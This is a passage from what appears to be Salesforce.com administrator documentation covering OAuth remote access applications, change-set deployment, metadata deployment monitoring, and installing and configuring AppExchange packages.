4. If the application has a specific logo, you can specify that using the Logo Image URL. The URL must be secure (uses
https).
5. If appropriate, specify the Contact Phone and Contact Email.
6. Enter a description of the application. When a user grants access to an application, this description displays.
7. If you used Setup ➤ Develop ➤ Remote Access to create this remote access application, you can select a managed package
to include this remote access application in.
Important: If you create a remote access application and do not include it in a managed package, you can never
add it later.

8. Click Save.

When you save the remote access definition, the consumer key and consumer secret are automatically generated. The consumer
key and consumer secret are available globally in all Salesforce.com instances.
Note: After you save a remote access definition, it may take a few minutes before it become available.

The consumer should store the consumer key and consumer secret in their application. The keys are used in authenticating a
user using the remote access application.
Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated.

See Also:
Remote Access Application Overview
Viewing Remote Access Application Details
Remote Access Applications and OAuth Terminology

Packaging Remote Access Applications


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

When defining a remote access application, take the following into consideration when deciding whether to package remote
access applications:

1076
Develop Defining Remote Access Applications

• You can only package remote access applications in managed packages.


• If you create a remote access application from a package, it is automatically included in that package. Once you add a
remote access application to a package, you cannot remove it from the package. The only way to remove a remote access
application from a package is to delete it from your organization.
• When you delete a remote access application contained in a managed package, access to that remote access application is
immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new
version of the managed package is released.
• Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
• When a remote access application is in a managed packaged, only subscriber organizations can use the generated consumer
key. If a remote access application is not contained in a package, any organization or user can use the key.
• If you create a new version of a managed package that contains a remote access application, the existing remote access
applications will still work with the newest version. In addition, until you delete a remote access application, the package
version number is always going to be the first version of the package that the remote access application is included in.

See Also:
Remote Access Application Overview
Defining Remote Access Applications

Deleting Remote Access Applications


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

When you delete a remote access application contained in a managed package, access to that remote access application is
immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version
of the managed package is released. Do not delete remote access applications unless you are certain this is the correct behavior.
Click Delete to delete the remote access application. Click Cancel to go back to the previous page.

See Also:
Remote Access Application Overview
Defining Remote Access Applications
Packaging Remote Access Applications

1077
Develop Viewing Remote Access Application Details

Viewing Remote Access Application Details


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

Use the remote access pages to specify remote access applications that can access a Salesforce.com instance.
To view the details for a defined application, click Setup ➤ Develop ➤ Remote Access, and click the name of the application.
From this page you can do any of the following:

• Edit—Change the name, contact information, and so on.


Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
If you create a remote access application from a package, it is automatically included in that package. Once you
add a remote access application to a package, you cannot remove it from the package. The only way to remove a
remote access application from a package is to delete it from your organization.

• Del—Delete the remote access application.

See Also:
Remote Access Application Overview
Defining Remote Access Applications

Authenticating Remote Access Application OAuth


When a user requests their Salesforce.com data from within the external application (the consumer's page), the user must be
authenticated by Salesforce.com. There are several steps in the authentication flow, as dictated by the OAuth standard.
The following diagram displays the authentication flow steps. The individual steps are described below.

1078
Develop Authenticating Remote Access Application OAuth

1079
Develop Authenticating Remote Access Application OAuth

1. The consumer requests a RequestToken. Salesforce.com verifies the request and returns a request token.
2. The consumer should redirect the user to Salesforce.com, where they are prompted to log in.
3. Salesforce.com authorizes the user.
4. Once the user is authorized, the consumer requests an AccessToken.
5. Salesforce.com verifies the request and grants the token.
6. After the token is granted, the consumer accesses the data either through their application or through the Force.com Web
services API.
7. Salesforce.com verifies the request and allows access to the data.

The following sections go into more details about each of these steps.
Tip: To use a remote access application with a Force.com Sandbox, use test.salesforce.com instead of
login.salesforce.com in the following sections.

For the list of possible error codes returned by Salesforce.com, see Remote Access Application OAuth Error Codes
on page 1083.

Requesting a RequestToken
When a consumer makes an initial request to Salesforce.com, a RequestToken is returned if the request is valid. The following
steps contain more detail for the developer who is using a remote access application to request Salesforce.com data.
1. A consumer application needs to access Salesforce.com data and sends a request to
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler. The
request contains the following:
• A valid request for a RequestToken, which contains the following OAuth parameters:
- oauth_consumer_key
- oauth_signature_method—must be HMAC-SHA1.
- oauth_signature
- oauth_timestamp
- oauth_nonce
- oauth_version—optional, must be “1.0” if included
- oauth_callback—must be one of the following:

› URL hosted by the consumer, for example,


https://www.appirio.com/sfdc_accounts/access_token_ready.html. Note that this URL must
use https.
› oob, meaning out of band.

• A signature created according to the OAuth specification for HMAC-SHA1

2. After Salesforce.com receives the request, Salesforce.com does the following:


• Validates the request with its own copy of the consumer secret
• Generates a response containing RequestToken and RequestTokenSecret in the HTTP body as name/value pairs
• Sends the response back to the consumer
A RequestToken is only valid for 15 minutes, plus three minutes to allow for differences between machine clocks.
3. The consumer directs the user to a Salesforce.com login page, as specified in the next section.

1080
Develop Authenticating Remote Access Application OAuth

Authorizing the User


After the request from the consumer is made to Salesforce.com, the user must be authenticated by Salesforce.com before the
process continues. The following contains more detailed steps about the login procedure for developers who are using a remote
access application to request Salesforce.com data.
1. The consumer redirects the user to the following location, where they are prompted to log in:
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp.The appropriate
GET query parameters are appended to this URL:
• oauth_token – the RequestToken
• oauth_consumer_key

Note: If an oauth_callback parameter is included, it is ignored.

2. The Remote Access Authorization page displays.


3. If the user approves access for the consumer, Salesforce.com generates the AccessToken and AccessTokenSecret.
4. Salesforce.com verifies the callback URL (either specified in the remote access application definition pages or in the
oauth_callback parameter from the previous stage). If the specified URL can accept a verifier token value, one of the
following occurs:
• If the oauth_callback defined in the RequestToken is oob and the Callback URL field in the remote access
application definition page has a valid value, the user is redirected to that URL.
• If the oauth_callback defined in the RequestToken is a valid URL, the user is redirected to that URL.
If the callback URL cannot accept the verifier token, the user is presented with a validation code that must be entered into
the consumer application.
5. The consumer is notified that the AccessToken and AccessTokenSecret are available either by receiving the verification
token from Salesforce.com or the validation code from the end user.

Requesting the AccessToken


Once the user has been authenticated, the consumer can exchange a RequestToken for an AccessToken. The following contains
more detailed steps regarding the exchange of tokens for developers who are using a remote access application to request
Salesforce.com data.
1. The consumer makes an HTTPS GET or POST request to
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler, with
the required parameters in the query or post data:
• oauth_consumer_key
• oauth_signature_method
• oauth_signature
• oauth_timestamp
• oauth_token
• oauth_nonce
• oauth_verifier
• oauth_version—optional, must be “1.0” if included

2. Salesforce.com validates the following:


• The consumer secret
• The consumer key

1081
Develop Authenticating Remote Access Application OAuth

• The signature
• That the RequestToken has never been used before
• The timestamp (must be within 15 minutes, plus three minutes to allow for differences between machine clocks)
• That the nonce has never used before

3. Upon validation, Salesforce.com returns the AccessToken and AccessTokenSecret in the HTTP response body as name/value
pairs.

Generating oauth_signature for Login


You can access Salesforce.com using either the user interface, or using the API. The oauth_signature used for login is
generated differently, depending on which method you use.
• User interface—use https://login.salesforce.com for generating the signature
• API—use https://login.salesforce.com/services/OAuth/type/api-version for generating the signature.
type must have one of the following values:

- u—Partner WSDL
- c—Enterprise WSDL

For example, https://login.salesforce.com/services/OAuth/u/17.0.

Accessing Salesforce.com Data Using the Consumer Application


Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce.com data. The
following contains more detailed steps regarding accessing data for developers who are using a remote access application to
request Salesforce.com data.
1. The consumer makes an HTTPS POST request to https://login.salesforce.com, with the required parameters
in the authorization header:
• oauth_consumer_key
• oauth_token
• oauth_signature_method
• oauth_signature
• oauth_timestamp
• oauth_nonce
• oauth_version (optional, must be “1.0” if included)

2. Salesforce.com validates the request and sends a valid session ID to the consumer.

Accessing Salesforce.com Data Using the API


Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce.com data using
the Force.com Web services API.
Note: Your organization must have access to both the API and to the remote access application. Contact your
salesforce.com representative for more information.

The following contains more detailed steps regarding accessing data for developers who are using a remote access application
to request Salesforce.com data.
1. The consumer makes an HTTPS POST request to Salesforce.com.

1082
Develop Authenticating Remote Access Application OAuth

• The URL must have the following format:


https://login.salesforce.com/services/OAuth/type/api-version
type must have one of the following values:

- u—Partner WSDL
- c—Enterprise WSDL

api-version must be a valid API version.


• The authorization header must have the following parameters:
- oauth_consumer_key
- oauth_token
- oauth_signature_method
- oauth_signature
- oauth_timestamp
- oauth_nonce
- oauth_version (optional, must be “1.0” if included)

2. Salesforce.com validates the request and sends a valid session ID to the consumer. The response header includes the
following:

<response>
<metadataServerUrl>https://na1-api.salesforce.com/services/Soap/m/17.0/00D300000006qjK

</metadataServerUrl>
<sandbox>false</sandbox>
<serverUrl>https://na1-api.salesforce.com/services/Soap/u/17.0/00D300000006qjK
</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq
GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>

See Also:
Remote Access Application Overview
Remote Access Applications and OAuth Terminology
Remote Access Application OAuth Error Codes
Defining Remote Access Applications

Remote Access Application OAuth Error Codes


Salesforce.com returns the following error codes during the remote access OAuth authentication steps. The returned error
code is based on the error received.

Fault Code Error Notes


1701 Failed: Nonce Replay Detected A Nonce can only be used once.
1702 Failed: Missing Consumer Key Parameter

1083
Develop Authenticating Remote Access Application OAuth

Fault Code Error Notes


1703 Failed: Invalid Access Token
1704 Failed: Version Not Supported You must specify 1.0 for the oauth_version
parameter.
1705 Failed: Invalid Timestamp The timestamp is one of the following: missing, in the
future, too old, or malformed.
1706 Failed: Invalid Nonce The Nonce is missing.
1707 Failed: Missing OAuth Token Parameter
1708 Failed: IP Address Not Allowed
1709 Failed: Invalid Signature Method The RequestToken contains an invalid
oauth_signature_method parameter.

1710 Failed: Invalid Callback URL The RequestToken contains an invalid


oauth_callback parameter. Value must be either
oob or a valid URL that uses https.

1711 Failed: Invalid Verifier The AccessToken. contains an invalid


oauth_verifier parameter.

1712 Failed: Get Access Token Limit Exceeded Can only attempt to exchange a RequestToken for an
AccessToken three times.
1713 Failed: Consumer Deleted The remote access application has been deleted from
the Salesforce.com organization.
1716 Failed: OAuth Api Access Disabled Either the Force.com Web services API is not enabled
for the organization, or OAuth API access has been
disabled for the organization.

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth

1084
Develop Remote Access Application Request

Remote Access Application Request


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

The external application you are using is requesting access to your Salesforce.com data. The external application has already
been integrated into Salesforce.com by your administrator.
To grant this application access to your Salesforce.com data, click Accept.
If the description of the application does not match the application you are currently using or for any other reason you do not
want to grant access to your data, click Deny.
After you have granted access to a remote access application, you can revoke it later by clicking Setup ➤ My Personal
Information ➤ Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview

Remote Access Application Request Approved


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

The external application you are using has requested access to your Salesforce.com data, and you approved this request. Close
the browser window and go back to the application you were using.
After you have granted access to a remote access application, you can revoke it later by clicking Setup ➤ My Personal
Information ➤ Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview
Remote Access Application Request

1085
Develop Managing Remote Access Applications

Remote Access Application Request Denied


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

The external application you are using has requested access to your Salesforce.com data and you denied this access. You should
log out of Salesforce.com. You can go back to the originating application.

See Also:
Remote Access Application Overview
Remote Access Application Request

Managing Remote Access Applications


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

A remote access application is an application external to Salesforce.com that uses the OAuth protocol to verify both the
Salesforce.com user and the external application. All remote access applications have been integrated with Salesforce.com,
such that they can access a subset of your Salesforce.com data once you explicitly grant each application permission.
All remote access applications that have permission to access your Salesforce.com data are listed in your personal information.
Click Setup ➤ My Personal Information ➤ Personal Information, and go to the Remote Access section. From there you
can do the following:

• View information about each remote access application, such as its name and when you granted access to it.
• Click Revoke to revoke the remote access application. After you revoke the application, it can no longer access your
Salesforce.com data.

See Also:
Remote Access Application Overview

1086
DEPLOY

Deployment Overview
User Permissions Needed
To edit deployment connections: “Deploy Change Sets”
To use outbound change sets: “Create and Upload Change Sets”
To use inbound change sets: “Deploy Change Sets”

Click Setup ➤ Deploy to access tools used for migrating metadata changes between organizations.
Deployment Connections
In order to use the change sets feature, a deployment connection is required. You can specify connection permissions
for both outbound and inbound change sets on the Deployment Connections page.

Outbound Change Sets


Make changes in the organization you are logged into, and upload those changes to another organization.

Inbound Change Sets


Accept, modify, or reject change sets uploaded from other organizations.

Monitor Deployments
Monitor the progress of deployments made through the Metadata API.
Note: Configuration changes deployed using change sets do not appear on the Monitor Deployments page.

Change Sets Overview


Available in Enterprise, Unlimited, and Free Editions

User Permissions Needed


To edit deployment connections: “Deploy Change Sets”
To use outbound change sets: “Create and Upload Change Sets”
To use inbound change sets: “Deploy Change Sets”

Note: Change sets are a beta feature and functionality may change at any time. Documentation for change sets is
provided in the Change Sets Tip Sheet.

1087
Deploy Monitoring Metadata Deployments

A change set is a means by which one organization can send customizations to another organization. For example, you could
create a new object in a sandbox organization and send it to your production organization using a change set. Change sets can
only contain modifications you can make through the Setup menu; therefore, you can't use a change set to upload a list of
contact records. In other words, change sets contain metadata, not data.
When you want to send customizations from your current organization to another organization, you create an outbound change
set. Once you send the change set, the receiving organization sees it as an inbound change set.
Sending a change set between two organizations requires a deployment connection. Currently, change sets can only be sent
between organizations that are affiliated with a production organization, for example, a production organization and a sandbox,
or two sandboxes created from the same organization.

Monitoring Metadata Deployments


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view metadata deployments: “Modify All Data”

You can use the Metadata API to deploy XML file representations of components into an organization. A component is an
instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom objects, and the
MyCustomObject__c component is an instance of a custom object.

The easiest way to access the Metadata API is to use the Force.com IDE or Force.com Migration Tool. These tools are built
on top of the Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task of working with the
Metadata API.
The deploy call in the Metadata API is asynchronous and may take a while to complete. The Force.com IDE and Force.com
Migration Tool use the deploy call to move XML file representations of components into an organization. To track the status
of deployments that are in progress or completed in the last 24 hours for these tools or other clients that are deploying metadata,
click Setup ➤ Deploy ➤ Monitor Deployments.
The Deployments In Progress list contains the following columns:

Column Description
Created By The name of the user performing the deployment.
Start Time The date and time when the deployment started.
Validate Indicates whether this deployment is being used to check the validity of the deployed files without making
Only any changes in the organization. A validate-only deployment does not deploy any components or change
the organization in any way.
Status The following values are possible:
• Queued—The deployment has not started. It is waiting in a queue.
• In Progress—The deployment has started, but has not completed yet.
• Processing Type: type—The deployment has started, and is processing a metadata type, where type
is a metadata type, such as CustomObject.

1088
Deploy Monitoring Metadata Deployments

Column Description
• Processing name—The deployment has started, and is processing a component, where name is a
component name, such as MyCustomObject__c.
• Running Test ApexClass.testName—An Apex test class is running, where ApexClass is the Apex
class name and testName is the name of the test.

Components The progress of the deployment. For example, 10 / 15 (3 errors) indicates that ten components
have been processed successfully out of a total of 15. There were errors for three other components processed
so far.
Tests The progress of the Apex tests that have been run. For example, 13 / 20 (2 errors) indicates that
13 tests have been run successfully out of a total of 20. There were errors for two other tests that have run
so far. The value for the total number of tests is not accurate until the test phase of the deployment has
started.

The Completed Deployments Last 24 Hours list contains the following columns. Completed deployments are removed from
the list 24 hours after completion.

Column Description
Created By The name of the user who performed the deployment.
Start Time The date and time when the deployment started.
End Time The date and time when the deployment completed.
Validate Indicates whether this deployment is being used to check the validity of the deployed files without making
Only any changes in the organization. A validate-only deployment does not deploy any components or change
the organization in any way.
Status The following values are possible:
• Completed—The deployment completed successfully.
• Completed with Errors—The deployment completed, but some components failed to deploy or some
tests failed. This status cannot happen in a production organization as any errors cause the deployment
to be rolled back.
• Failed—The deployment had some errors and no changes were made to the organization.

Components The number of components, including those with errors, that were processed in the deployment. For
example, 10 (1 error) indicates that ten components were processed and there was an error for one
component.
Tests The number of Apex tests, including those with errors, that were run. For example, 13 (2 errors)
indicates that 13 tests were run and there were errors for two tests.

1089
INSTALLED PACKAGES

Installed Packages
You can install packages into your Salesforce.com organization, and then configure, deploy, and manage them by clicking
Setup ➤ View Installed Packages.

Installing a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To install packages: “Download AppExchange Packages”

AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the Force.com
platform. Users can go to AppExchange to review apps submitted by other Salesforce.com customers, take a test drive, and
install them. Installed apps function just like other custom apps within your Salesforce.com organization.
Before installing a package, use AppExchange to:

• Take a test drive, see Taking a Test Drive in the Force.com AppExchange online help
• Verify package installation requirements, see Verifying Requirements for an App in the Force.com AppExchange online help
• Determine if the package supports upgrades, see About Managed Packages on page 935

To install a package from AppExchange, follow this procedure from the beginning. If you received an installation link, click
the link and skip to this step on page 1090.
Note: Before clicking an installation link, determine if it is pointing to the right instance. If you are installing into
your Salesforce.com production organization yet the package was uploaded from a Sandbox organization, replace the
“test.salesforce.com” portion of the installation link with “www.salesforce.com.” Likewise, replace the
“www.salesforce.com” portion of the installation link with “test.salesforce.com” whenever you are installing into your
Sandbox organization using a package uploaded from a Salesforce.com production organization.

1. Go to AppExchange by clicking Setup ➤ View Installed Packages.


2. Click Visit Force.com AppExchange.
3. Browse the Force.com AppExchange site to find the app you want to install.
4. Click Get It Now from the app information page.
If the listing does not have a Get It Now option, it may be a partner app that you can download and use outside of
Salesforce.com. Contact the publisher for more information.
5. Enter your username and password, read the user terms, select the I have read and agreed... checkbox, and click
Continue.
Select your sandbox location to install the package in your organization's sandbox, if available. This package is removed
from your sandbox organization whenever you create a new sandbox copy.
6. If the package is password protected, enter the password you received from the package publisher.

1090
Installed Packages Installed Packages

7. Review the package items to ensure this is the package you want to install, and click Continue.
If you are installing an upgrade to a managed package, review the list of new items that the upgrade will add.
Note: Some package items, such as validation rules, record types, or custom settings may not display in the Package
Item list but are included in the package and install with the other items. If there are no items in the Package Items
list, the package may contain only minor changes not recorded in the Package Items list.

8. Review the API access that package components have been granted to ensure they are acceptable. For more information,
see About API and Dynamic Apex Access in Packages on page 1096.
9. Review the remote access applications that are listed to ensure they are acceptable, and click Next if they are. If they are
not, click Cancel. Every remote access application represents a trusted application that is granted access to a user's
Salesforce.com data after the user and the application have been verified.
10. If the API access and the remote access applications are acceptable, click Next. If they are not, click Cancel.
11. When installing unmanaged packages, you can select Resolve Naming Conflicts Automatically. When this is
selected, Salesforce.com changes the name of the component in the package being installed.
12. In Enterprise, Unlimited, and Developer Editions, choose a security option, and click Next:
Admin access only
Gives no custom object permissions to any user profile except the administrator’s and any profile with the “Customize
Application” permission. This option also sets field-level security to visible and editable for all fields included in the
new the features in this package. After installation, if you have Enterprise, Unlimited, or Developer Edition, you can
give the appropriate user permissions to your user profiles as needed.

Grant access to all users


Gives full access to custom objects included in the new package. Additionally, sets field-level security to visible and
editable for all fields included in the new package.

Select security settings


Allows you to choose the usage access for all existing custom and standard profiles in your organization. You can set
each profile to have full access or no access for the new package and all its components.

Note: Depending on the type of install, you may not see this step. For example, in Group and Professional Editions
or if the package does not contain a custom object, Salesforce.com skips this step and the next, giving all users full
access.

13. In Enterprise, Unlimited, and Developer Editions, if you chose Select security settings, select the level of access to give
users in each profile and click Next. Standard options are:

• Full Access- Gives full access to custom objects included in the new package. Additionally, sets field-level security to
visible and editable for all fields included in the new package.
• No Access - Gives no custom object permissions to any user profile except the administrator’s and any profile with the
“Customize Application” permission. This option also sets field-level security to visible and editable for all fields included
in the new the features in this package.

You may see other options if the publisher has included settings for custom profiles. You can incorporate the settings of
the publisher’s custom profiles into your profiles without affecting the existing settings in your profiles. Choose the name
of the profile settings in the drop-down list next to the profile you want them applied to. The current settings in that profile
remain intact.
Alternatively, click Set All next to an access level to give this setting to all user profiles.

1091
Installed Packages Installed Packages

Note: In a developer organization, a component can be in multiple packages and Salesforce.com resolves to a
single partner access control setting for each component. For example, if a developer organization has two packages,
one managed and one unmanaged, and both have partner access controls enabled, the managed package sets the
profile access controls for that component. If a component is packaged in only one unmanaged package with partner
access controls enabled, those partner access controls are enforced. If a component is in multiple unmanaged
packages but not in a managed package, no partner access control settings are used, whether or not partner access
controls are set on any of the packages.

14. Click Install to install all the components in the package you have selected. To view the standard settings each type of
component has after you install, see Configuring Installed Packages on page 1093.
Note: During installation, Salesforce.com checks and verifies any dependencies. An installer’s organization must
meet all dependency requirements listed on the Show Dependencies page (with the exception of Reports) or else
the installation will fail. For example, the installer's organization must have divisions enabled to install a package
that references divisions. For more information on package dependencies, see Understanding Dependencies on
page 923.
When you install a component that contains an Apex script, all unit tests for your organization are run, including
the unit tests contained in the new package. If a unit test relies on a component that is initially installed as inactive,
such as a workflow rule, this unit test may fail. You can select to install regardless of unit test failures.
For reasons Salesforce.com could prevent an install, see Why did my install fail? on page 2314.

15. Click OK.


If the package has custom objects or workflow rules, click Deploy and confirm when prompted to change the status of any
custom objects in the package to “Deployed” and activate any workflow rules. For upgrades, this includes any new custom
objects and workflow rules in the package or existing custom objects or workflow rules in the package that were not deployed
previously.
16. Next, configure and deploy your package.
17. If you are reinstalling a package and want to reimport the package data using the export file you received after uninstalling,
see Importing Package Data on page 1105.
18. If you installed a managed package, click Manage Licenses, to assign licenses to users. See Managing Licenses for Installed
Packages on page 1106.

Note: Only one person in your organization can install or upload a package at a time. Salesforce.com displays an error
if multiple users in your organization try to install or upload packages at the same time.

See Also:
Uninstalling a Package
Managing Package Installations
Managing Licenses for Installed Packages
Upgrading Packages
Configuring Installed Packages
Deploying Installed Packages
About API and Dynamic Apex Access in Packages
Setting Apex Class Security
Installation Guide: Installing Apps from Force.com AppExchange

1092
Installed Packages Installed Packages

Configuring Installed Packages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To install packages: “Download AppExchange Packages”
To configure installed packages: “Customize Application”

Before deploying the package to your users, make any necessary changes for your implementation. Depending on the contents
of the package, you may need to customize the following items:
About Tab
If the publisher added a splash page to the About tab with information for the installing administrator, dismiss the splash
page before deploying your package so your users do not have to dismiss it.

Configure Option
The publisher of your package may have included a link to an external website with information about configuring your
package. If so, Force.com AppExchange Downloads page displays a Configure option next to the package when you
click Setup ➤ View Installed Packages. Click Configure to view the publisher's suggested configurations for the
package.

Custom Fields and Custom Links


Add any necessary custom fields or links to the new custom objects.

Custom Object
All custom objects in your package are installed in the subscriber's organization as inactive, regardless of their status in
the developer's organization. When you deploy a package, Salesforce.com activates all of the included custom objects.
You can also deploy custom objects individually by setting their Deployment Status to In Development.

Custom Report Types


All custom reports in your package are installed in the subscriber's organization as inactive, regardless of their status in
the developer's organization. When you deploy a package, Salesforce.com activates all of the included custom reports.
You can install custom reports individually by setting their Deployment Status to In Development.
If the Report Type Name of a custom report type matches one used within your organization, Salesforce.com
recommends that you change the Report Type Name after you install the package to avoid any confusion between
the two report types.

Custom Tabs
If the Tab Style of a custom tab matches one used within your organization, we recommend that you change the Tab
Style after you install the package.

1093
Installed Packages Installed Packages

Dashboard Running User


The Running User for any dashboards included in the package are set to the user installing the package. If necessary,
edit the properties of the dashboard and change the Running User to a user that has the security settings you want
applied to the dashboard.

Folders
When apps contain documents, email templates, reports, or dashboards, Salesforce.com creates new folders in the
installer’s organization using the publisher’s folder names. Make sure these folder names are unique in your organization.
These new folders are visible to all users. Configure folder settings before you deploy if you want them to have limited
visibility.

Home Page Layouts


Custom home page layouts included in the package are not assigned to any users. To make them available to your users,
assign them to the appropriate profiles.

List Views
List views included in apps are visible to all users. Change the visibility of these list views if necessary.

Page Layouts
All users are assigned the default page layout for any custom objects included in the package. Administrators of Enterprise,
Unlimited, and Developer Edition organizations can configure the page layout as necessary for the appropriate users.
If a custom object in the package includes any relationships to standard objects, add them as related lists on the appropriate
page layouts.
If the package includes any custom links, add them to the appropriate page layouts.
If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are
on accounts and summarizing opportunity values or on opportunities and summarizing custom object values. Remove
these fields from any page layouts.

Translation Workbench
Translated values for installed package components are also installed for any language that the developer has included.
Any package components the developer has customized within setup, such as a custom field or record type, display in
the installer's setup pages in the developer's language (the language used when defining these components). Users in the
installer's organization automatically see translated values if their personal language is included in the package. Additionally,
installers can activate additional languages as long as the translation workbench is enabled. Installers can add or change
translated values in unmanaged packages. In managed packages, installers can add translated values only if translated
values were not included in the package. For information on changing the values of managed components, see Packageable
Components on page 945.
Note: If you installed a managed package and the developer activates an additional language in an upgrade that
you have activated after installation, Salesforce.com prevents you from upgrading until you remove the conflicting
translations.

Workflow Alerts
If the recipient of a workflow alert is a user, Salesforce.com replaces that user with the user installing the package. Change
the recipients of any installed workflow alerts as necessary.

1094
Installed Packages Installed Packages

Workflow Field Updates


If a field update is designed to change a record owner field to a specific user, Salesforce.com replaces that user with the
user installing the package. Change the field value of any installed field updates as necessary.

Workflow Outbound Messages


Salesforce.com replaces the user in the User to send as field of an outbound message with the user installing the
package. Change this value as necessary after installation.

Workflow Rules
All workflow rules in the package are installed in the subscriber's organization as inactive regardless of their status in the
developer's organization. When you deploy a package, Salesforce.com activates all workflow rules included. You can
deploy (activate) workflow rules individually by Activates the rule.
Workflow rules are installed without any time-based triggers that the developer may have created. Set up time-based
triggers as necessary.

Workflow Tasks
Salesforce.com replaces the user in the Assigned To field with the user installing the package. Change this value as
necessary after installation.

Make any more customizations that are necessary for your implementation.
Note: Anything you add to a custom app after installation will be removed with the custom app if you ever uninstall
it.

All custom objects or tabs in the app are hidden from your users and workflow rules are inactive until you deploy them. For
instructions on deploying a package installed from AppExchange, see Deploying Installed Packages on page 1095.

See Also:
Installing a Package
Deploying Installed Packages
About API and Dynamic Apex Access in Packages

Deploying Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To deploy apps: “Customize Application”

After installing a package from Force.com AppExchange, components that are stored in folders, like reports or dashboards,
are instantly available to users because of their folder settings. However, some components, such as custom objects, are hidden
and inactive. They must be activated using the package deploy process, or they can be deployed individually.
The following components are available by default based on the developer's setting:

1095
Installed Packages Installed Packages

• Apex triggers
• Email templates
• Folders
Note: Folders shared with specific users or groups are installed with this option selected, however, no users or
groups are selected in the subscriber's organization.

• Letterheads
• Record types
• Validation rules

The following components are not available by default, and must be activated using the package deploy process or they can
be deployed (activated) individually:

• Custom objects
• Custom report types
• Workflow rules

After you make the necessary customizations for your organization, deploy installed custom objects and report types, and
activate workflow rules. For tips on making customizations to installed package and components before deploying, see
Configuring Installed Packages on page 1093. Deployed packages are available to users in your organization with the appropriate
profile and page layout settings.
If you have the “Customize Application” permission you can deploy all the components in an installed package:

1. Click Setup ➤ View Installed Packages.


2. Select the package you want to deploy.
3. Click Deploy.
4. Click Deploy to confirm or Cancel to return to the package detail.

See Also:
Installing a Package
Configuring Installed Packages
About API and Dynamic Apex Access in Packages

About API and Dynamic Apex Access in Packages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Package components have access via dynamic Apex and the API to standard and custom objects in the organization where
they are installed. Developers of Force.com AppExchange packages that are intended for external customers (also called
third-party developers or partners) may wish to restrict this access. Restricting access makes packages safer for administrators
to install. Also, administrators who install such packages may wish to restrict this access after installation, even if the package
developers have not, for improved security.

1096
Installed Packages Installed Packages

API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components
have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With
this setting:

• The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com
AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom
objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other
packages that this package depends on.
• The installer of a package can accept or reject package access privileges when installing the package to his or her organization.
• After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable
access on additional objects such as custom objects created in the installer’s organization or objects installed by unrelated
packages.

There are two possible options for the API Access setting:

• The default Unrestricted, which gives the package components the same API access to standard objects as the user
who is logged in when the component sends a request to the API. Apex scripts run in system mode. Unrestricted access
gives the Apex script read access to all standard and custom objects.
• Restricted, which allows the administrator to select which standard objects the components in the package can access.
Further, the components in restricted packages can only access custom objects in the current package if the user profile
provides access to them.

Considerations for API and Dynamic Apex Access in Packages


By default, dynamic Apex scripts can only access the components with which the script is packaged. To provide access to
standard objects not included in the package, the developer must set the API Access.
1. Go to Setup ➤ Create ➤ Packages.
2. Select the package that contains a dynamic Apex script that needs access to standard objects in the installing organization.
3. In the Package Detail related list, click Enable Restrictions or Restricted, whichever is available.
4. Set the access level (Read, Create, Edit, Delete) for the standard objects that the dynamic Apex scripts can access.
5. Click Save.
Choosing Restricted for the API Access setting in a package affects the following:
• API access in a package overrides the following permissions granted in a user's profile:
- Author Apex
- Customize Application
- Edit HTML Templates
- Edit Read Only Fields
- Manage Billing
- Manage Call Centers
- Manage Categories
- Manage Custom Report Types
- Manage Dashboards
- Manage Letterheads
- Manage Package Licenses
- Manage Public Documents
- Manage Public List Views
- Manage Public Reports
- Manage Public Templates

1097
Installed Packages Installed Packages

- Manage Users
- Transfer Record
- Use Team Reassignment Wizards
- View Setup and Configuration
- Weekly Export Data

• If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access
to those objects from the package components, even if the user has the “Modify All Data” and “View All Data” permissions.
• Salesforce.com denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access. For more information about executeanonymous and accessing Web services with Apex, see the
Force.com Apex Code Developer's Guide.
The following considerations also apply to API access in packages:
• Workflow rules and Apex triggers fire regardless of API access in a package.
• If a component is in more than one package in an organization, API access is unrestricted for that component in all packages
in the organization regardless of the access setting.
